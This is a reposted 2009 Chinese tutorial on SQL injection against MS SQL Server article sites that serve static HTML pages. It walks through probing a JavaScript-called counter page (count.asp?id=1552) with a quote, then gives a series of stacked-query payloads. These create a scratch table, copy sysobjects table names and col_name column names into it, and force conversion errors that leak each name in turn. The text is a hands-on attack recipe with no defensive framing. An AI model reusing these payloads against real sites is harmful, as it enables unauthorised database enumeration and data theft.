首页 电脑 电脑学堂 查看内容

SQL脚本注入的不常见方法概括

2009-11-7 10:48 575 0

摘要:   大家在是否碰到过这样的站点:   全站文章系统采用FSO静态生成的HTML文件来显示。这样做的好处一来可以减轻服务器负担,提高访问速度。二来也阻止了SQL注入式的攻击。。   我来说说他们的文...
关键词: aaa 1552 select 一个 where 字段 然后 name id update

  大家在是否碰到过这样的站点:   全站文章系统采用FSO静态生成的HTML文件来显示。这样做的好处一来可以减轻服务器负担,提高访问速度。二来也阻止了SQL注入式的攻击。。   我来说说他们的文章系统原理:全部文章均在数据库存有一个副本。另处根据模板生成一个HTML页面。   攻击方法:   查看源文件/看里面是否有通过JS来调用的页面。   如调用来更新文章的浏览次数。   我们就可以这样来试一下可否注入:   http://服务器域名/count.asp?id=1552’   看一下是否出错。如出错说明有注入漏洞。然后正常攻击。   在本机建立一下post.htm的文件和log.txt的文本文件(用来记录用,这是一个好习惯)   post.htm内容:主要是方便输入。   对于SQLSERVER的服务器可以这样判断:在1552后加一分号,如正常有可能是SQLSERVER   对于这类数据库可以先建一个表id=1552;create table aaa(aaa char(20));--   然后插入一条记录:id=1552;insert into aaa values(’test’);--   再之后枚举出他的数据表名:   id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0);--   这是将第一个表名更新到aaa的字段处。   id=1552 and exists(select * from aaa where aaa>5)就会报错,多数情况会将表名直接读出:看:   Microsoft OLE DB Provider for SQL Server 错误 ’80040e07’   将 varchar 值 ’vote’ 转换为数据类型为 int 的列时发生语法错误。   /search.asp,行21   其中vote就是表名:   也可以先猜出一个表名,再把(select top 1 name from sysobjects where xtype=’u’ and status>0)的值更新到那个表的一条记录中去。通过网页显示。   读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>’刚才得到的表名’)。   id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0 and name<>’vote’);--   然后id=1552 and exists(select * from aaa where aaa>5)   读出第二个表,^^^^^^一个个的读出,直到没有为止。   读字段是这样:   id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),1));--   然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名   id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),2));--   然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名   ……类推
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部